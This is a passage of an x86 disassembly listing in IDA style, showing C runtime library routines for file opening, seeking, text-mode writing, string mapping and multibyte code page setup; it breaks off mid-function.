; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B851	proc near		; CODE XREF: sub_41821A+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_515AFC
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41B88A
		cmp	al, 72h
		jz	short loc_41B883
		cmp	al, 77h
		jnz	loc_41B99E
		mov	ecx, 301h
		jmp	short loc_41B88F
; ---------------------------------------------------------------------------


loc_41B883:				; CODE XREF: sub_41B851+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41B892
; ---------------------------------------------------------------------------


loc_41B88A:				; CODE XREF: sub_41B851+1Dj
		mov	ecx, 109h


loc_41B88F:				; CODE XREF: sub_41B851+30j
		or	esi, 2


loc_41B892:				; CODE XREF: sub_41B851+37j
		push	1
		pop	edx


loc_41B895:				; CODE XREF: sub_41B851+8Bj
					; sub_41B851+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41B984
		cmp	edx, ebx
		jz	loc_41B984
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41B923
		jz	short loc_41B913
		sub	eax, 2Bh
		jz	short loc_41B8FD
		sub	eax, 19h
		jz	short loc_41B8F3
		sub	eax, 0Eh
		jz	short loc_41B8DE
		dec	eax
		jnz	loc_41B975
		cmp	[ebp+var_4], ebx
		jnz	loc_41B975
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B8DE:				; CODE XREF: sub_41B851+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41B975
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B8F3:				; CODE XREF: sub_41B851+6Aj
		test	cl, 40h
		jnz	short loc_41B975
		or	ecx, 40h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B8FD:				; CODE XREF: sub_41B851+65j
		test	cl, 2
		jnz	short loc_41B975
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B913:				; CODE XREF: sub_41B851+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41B975
		or	ecx, eax
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B923:				; CODE XREF: sub_41B851+5Ej
		sub	eax, 62h
		jz	short loc_41B970
		dec	eax
		jz	short loc_41B959
		sub	eax, 0Bh
		jz	short loc_41B942
		sub	eax, 6
		jnz	short loc_41B975
		test	ch, 0C0h
		jnz	short loc_41B975
		or	ch, 40h
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B942:				; CODE XREF: sub_41B851+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41B975
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B959:				; CODE XREF: sub_41B851+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41B975
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B970:				; CODE XREF: sub_41B851+D5j
		test	ch, 0C0h
		jz	short loc_41B97C


loc_41B975:				; CODE XREF: sub_41B851+72j
					; sub_41B851+7Bj ...
		xor	edx, edx
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B97C:				; CODE XREF: sub_41B851+122j
		or	ch, 80h
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B984:				; CODE XREF: sub_41B851+4Aj
					; sub_41B851+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41E476
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41B9A2


loc_41B99E:				; CODE XREF: sub_41B851+25j
		xor	eax, eax
		jmp	short loc_41B9BC
; ---------------------------------------------------------------------------


loc_41B9A2:				; CODE XREF: sub_41B851+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_515A34
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41B9BC:				; CODE XREF: sub_41B851+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B851	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9C1	proc near		; CODE XREF: sub_41821Ap
		mov	edx, dword_516B60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41BA32
		mov	ebx, dword_515B4C
		mov	edi, ebx


loc_41B9DD:				; CODE XREF: sub_41B9C1+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41B9F8
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41B9F3
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41B9DD
		jmp	short loc_41BA32
; ---------------------------------------------------------------------------


loc_41B9F3:				; CODE XREF: sub_41B9C1+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41BA1C
; ---------------------------------------------------------------------------


loc_41B9F8:				; CODE XREF: sub_41B9C1+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417BEE
		pop	ecx
		mov	ecx, dword_515B4C
		mov	[edi+ecx], eax
		mov	eax, dword_515B4C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41BA32
		mov	esi, edi


loc_41BA1C:				; CODE XREF: sub_41B9C1+35j
		cmp	esi, ebp
		jz	short loc_41BA32
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41BA32:				; CODE XREF: sub_41B9C1+12j
					; sub_41B9C1+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B9C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA39	proc near		; CODE XREF: sub_4183EE+67p
					; sub_41922E+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_516C80
		push	esi
		push	edi
		jnb	short loc_41BABB
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:516B80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BABB
		push	eax
		call	sub_41E3E2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BA7D
		mov	dword_515884, 9
		jmp	short loc_41BACC
; ---------------------------------------------------------------------------


loc_41BA7D:				; CODE XREF: sub_41BA39+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 7C810B8Eh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BA9D
		nop
		call	near ptr 7C910331h
		jmp	short loc_41BA9F
; ---------------------------------------------------------------------------


loc_41BA9D:				; CODE XREF: sub_41BA39+5Aj
		xor	eax, eax


loc_41BA9F:				; CODE XREF: sub_41BA39+62j
		test	eax, eax
		jz	short loc_41BAAC
		push	eax
		call	sub_41C91A
		pop	ecx
		jmp	short loc_41BACC
; ---------------------------------------------------------------------------


loc_41BAAC:				; CODE XREF: sub_41BA39+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BACF
; ---------------------------------------------------------------------------


loc_41BABB:				; CODE XREF: sub_41BA39+Dj
					; sub_41BA39+2Aj
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41BACC:				; CODE XREF: sub_41BA39+42j
					; sub_41BA39+71j
		or	eax, 0FFFFFFFFh


loc_41BACF:				; CODE XREF: sub_41BA39+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BA39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAD3	proc near		; CODE XREF: sub_4183EE+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BAEF
		mov	[edi+4], ebx


loc_41BAEF:				; CODE XREF: sub_41BAD3+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BB5D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BB14
		sub	eax, [edi+4]
		jmp	loc_41BC26
; ---------------------------------------------------------------------------


loc_41BB14:				; CODE XREF: sub_41BAD3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BB4E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_516B80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BB65
		mov	edx, ecx


loc_41BB3F:				; CODE XREF: sub_41BAD3+79j
		cmp	edx, eax
		jnb	short loc_41BB65
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BB4B
		inc	[ebp+var_8]


loc_41BB4B:				; CODE XREF: sub_41BAD3+73j
		inc	edx
		jmp	short loc_41BB3F
; ---------------------------------------------------------------------------


loc_41BB4E:				; CODE XREF: sub_41BAD3+50j
		test	dl, 80h
		jnz	short loc_41BB65
		mov	dword_515884, 16h


loc_41BB5D:				; CODE XREF: sub_41BAD3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BC26
; ---------------------------------------------------------------------------


loc_41BB65:				; CODE XREF: sub_41BAD3+68j
					; sub_41BAD3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BB73
		mov	eax, [ebp+var_8]
		jmp	loc_41BC26
; ---------------------------------------------------------------------------


loc_41BB73:				; CODE XREF: sub_41BAD3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BC1E
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BB8C
		and	[ebp+var_8], edx
		jmp	loc_41BC1E
; ---------------------------------------------------------------------------


loc_41BB8C:				; CODE XREF: sub_41BAD3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BC18
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BBDF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41BBCA:				; CODE XREF: sub_41BAD3+104j
		cmp	eax, ecx
		jnb	short loc_41BBD9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BBD6
		inc	[ebp+arg_0]


loc_41BBD6:				; CODE XREF: sub_41BAD3+FEj
		inc	eax
		jmp	short loc_41BBCA
; ---------------------------------------------------------------------------


loc_41BBD9:				; CODE XREF: sub_41BAD3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BC13
; ---------------------------------------------------------------------------


loc_41BBDF:				; CODE XREF: sub_41BAD3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BA39
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BC06
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BC06
		test	ch, 4
		jz	short loc_41BC09


loc_41BC06:				; CODE XREF: sub_41BAD3+124j
					; sub_41BAD3+12Cj
		mov	eax, [edi+18h]


loc_41BC09:				; CODE XREF: sub_41BAD3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41BC13:				; CODE XREF: sub_41BAD3+10Aj
		jz	short loc_41BC18
		inc	[ebp+arg_0]


loc_41BC18:				; CODE XREF: sub_41BAD3+D9j
					; sub_41BAD3:loc_41BC13j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41BC1E:				; CODE XREF: sub_41BAD3+A4j
					; sub_41BAD3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41BC26:				; CODE XREF: sub_41BAD3+3Cj
					; sub_41BAD3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BAD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC2B	proc near		; CODE XREF: sub_418743+47p
					; sub_418743+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4216A8
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_515904, edi
		jnz	short loc_41BCA1
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4216A0
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jz	short loc_41BC7F
		mov	dword_515904, ebx
		jmp	short loc_41BCA1
; ---------------------------------------------------------------------------


loc_41BC7F:				; CODE XREF: sub_41BC2B+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_441700
		push	esi
		push	edi
		nop
		call	near ptr 7C838DE8h
		test	eax, eax
		jz	loc_41BDB9
		mov	dword_515904, 2


loc_41BCA1:				; CODE XREF: sub_41BC2B+2Ej
					; sub_41BC2B+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41BCB6
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4200BF
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41BCB6:				; CODE XREF: sub_41BC2B+79j
		mov	eax, dword_515904
		cmp	eax, 2
		jnz	short loc_41BCDD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C838DE8h
		jmp	loc_41BDBB
; ---------------------------------------------------------------------------


loc_41BCDD:				; CODE XREF: sub_41BC2B+93j
		cmp	eax, 1
		jnz	loc_41BDB9
		cmp	[ebp+arg_18], edi
		jnz	short loc_41BCF3
		mov	eax, dword_5158FC
		mov	[ebp+arg_18], eax


loc_41BCF3:				; CODE XREF: sub_41BC2B+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41BDB9
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BD4E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41BD4E:				; CODE XREF: sub_41BC2B+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41BDB9
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		jz	short loc_41BDB9
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41BDB9
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41BDCD
		cmp	[ebp+arg_14], edi
		jz	loc_41BE48
		cmp	esi, [ebp+arg_14]
		jg	short loc_41BDB9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jnz	loc_41BE48


loc_41BDB9:				; CODE XREF: sub_41BC2B+66j
					; sub_41BC2B+B5j ...
		xor	eax, eax


loc_41BDBB:				; CODE XREF: sub_41BC2B+ADj
					; sub_41BC2B+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BC2B+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BE01
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41BE01:				; CODE XREF: sub_41BC2B+1C2j
		cmp	ebx, edi
		jz	short loc_41BDB9
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jz	short loc_41BDB9
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41BE28
		push	edi
		push	edi
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE28:				; CODE XREF: sub_41BC2B+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41BE2E:				; CODE XREF: sub_41BC2B+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 7C80A0D4h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BDB9


loc_41BE48:				; CODE XREF: sub_41BC2B+165j
					; sub_41BC2B+188j
		mov	eax, esi
		jmp	loc_41BDBB
sub_41BC2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE4F	proc near		; CODE XREF: sub_4188AC+A2p
					; sub_41922E+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_516C80
		push	esi
		push	edi
		jnb	loc_41BFE3
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41BFE3
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41BEA0


loc_41BE99:				; CODE XREF: sub_41BE4F+177j
		xor	eax, eax
		jmp	loc_41BFF7
; ---------------------------------------------------------------------------


loc_41BEA0:				; CODE XREF: sub_41BE4F+48j
		test	al, 20h
		jz	short loc_41BEB0
		push	2
		push	edi
		push	ecx
		call	sub_41BA39
		add	esp, 0Ch


loc_41BEB0:				; CODE XREF: sub_41BE4F+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41BF7F
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41BFB7


loc_41BED0:				; CODE XREF: sub_41BE4F+F5j
		lea	eax, [ebp+var_414]


loc_41BED6:				; CODE XREF: sub_41BE4F+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BF0A
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41BEF5
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41BEF5:				; CODE XREF: sub_41BE4F+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41BED6


loc_41BF0A:				; CODE XREF: sub_41BE4F+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jz	short loc_41BF74
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41BF46
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41BED0


loc_41BF46:				; CODE XREF: sub_41BE4F+EAj
					; sub_41BE4F+12Ej
		xor	edi, edi


loc_41BF48:				; CODE XREF: sub_41BE4F+150j
					; sub_41BE4F+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41BFDE
		cmp	[ebp+arg_0], edi
		jz	short loc_41BFB7
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41BFAC
		mov	dword_515884, 9
		mov	dword_515888, eax
		jmp	loc_41BFF4
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BE4F+E0j
		nop
		call	near ptr 7C910331h
		mov	[ebp+arg_0], eax
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF7F:				; CODE XREF: sub_41BE4F+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jz	short loc_41BFA1
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41BF48
; ---------------------------------------------------------------------------


loc_41BFA1:				; CODE XREF: sub_41BE4F+145j
		nop
		call	near ptr 7C910331h
		mov	[ebp+arg_0], eax
		jmp	short loc_41BF48
; ---------------------------------------------------------------------------


loc_41BFAC:				; CODE XREF: sub_41BE4F+10Fj
		push	[ebp+arg_0]
		call	sub_41C91A
		pop	ecx
		jmp	short loc_41BFF4
; ---------------------------------------------------------------------------


loc_41BFB7:				; CODE XREF: sub_41BE4F+7Bj
					; sub_41BE4F+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41BFCC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41BE99


loc_41BFCC:				; CODE XREF: sub_41BE4F+16Fj
		mov	dword_515884, 1Ch
		mov	dword_515888, edi
		jmp	short loc_41BFF4
; ---------------------------------------------------------------------------


loc_41BFDE:				; CODE XREF: sub_41BE4F+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41BFF7
; ---------------------------------------------------------------------------


loc_41BFE3:				; CODE XREF: sub_41BE4F+15j
					; sub_41BE4F+37j
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41BFF4:				; CODE XREF: sub_41BE4F+120j
					; sub_41BE4F+166j ...
		or	eax, 0FFFFFFFFh


loc_41BFF7:				; CODE XREF: sub_41BE4F+4Cj
					; sub_41BE4F+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BE4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFFC	proc near		; CODE XREF: sub_41C3C0+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C195
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_516C84
		mov	[ebp+arg_0], esi
		jz	loc_41C189
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C17F
		xor	edx, edx
		mov	eax, offset dword_43B7D8


loc_41C030:				; CODE XREF: sub_41BFFC+41j
		cmp	[eax], esi
		jz	short loc_41C0A6
		add	eax, 30h
		inc	edx
		cmp	eax, offset off_43B8C8
		jl	short loc_41C030
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 7C812E76h
		cmp	eax, 1
		jnz	loc_41C177
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_516DA0
		cmp	[ebp+var_18], 1
		mov	dword_516C84, esi
		rep stosd
		stosb
		mov	dword_516EA4, ebx
		jbe	loc_41C165
		cmp	[ebp+var_12], 0
		jz	loc_41C13B
		lea	ecx, [ebp+var_11]


loc_41C083:				; CODE XREF: sub_41BFFC+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C13B
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C094:				; CODE XREF: sub_41BFFC+A8j
		cmp	eax, edx
		ja	loc_41C12F
		or	byte_516DA1[eax], 4
		inc	eax
		jmp	short loc_41C094
; ---------------------------------------------------------------------------


loc_41C0A6:				; CODE XREF: sub_41BFFC+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_516DA0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B7E8[esi]


loc_41C0C2:				; CODE XREF: sub_41BFFC+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C0F5


loc_41C0C9:				; CODE XREF: sub_41BFFC+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C0F5
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C0EE
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B7D0[edx]


loc_41C0E3:				; CODE XREF: sub_41BFFC+F0j
		or	byte_516DA1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C0E3


loc_41C0EE:				; CODE XREF: sub_41BFFC+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C0C9


loc_41C0F5:				; CODE XREF: sub_41BFFC+CBj
					; sub_41BFFC+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C0C2
		mov	eax, [ebp+arg_0]
		mov	dword_516C9C, 1
		push	eax
		mov	dword_516C84, eax
		call	sub_41C1DF
		lea	esi, dword_43B7DC[esi]
		mov	edi, offset dword_516C90
		movsd
		movsd
		pop	ecx
		mov	dword_516EA4, eax
		movsd
		jmp	short loc_41C184
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41BFFC+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C083


loc_41C13B:				; CODE XREF: sub_41BFFC+7Ej
					; sub_41BFFC+8Bj
		push	1
		pop	eax


loc_41C13E:				; CODE XREF: sub_41BFFC+14Fj
		or	byte_516DA1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C13E
		push	esi
		call	sub_41C1DF
		pop	ecx
		mov	dword_516EA4, eax
		mov	dword_516C9C, 1
		jmp	short loc_41C16B
; ---------------------------------------------------------------------------


loc_41C165:				; CODE XREF: sub_41BFFC+74j
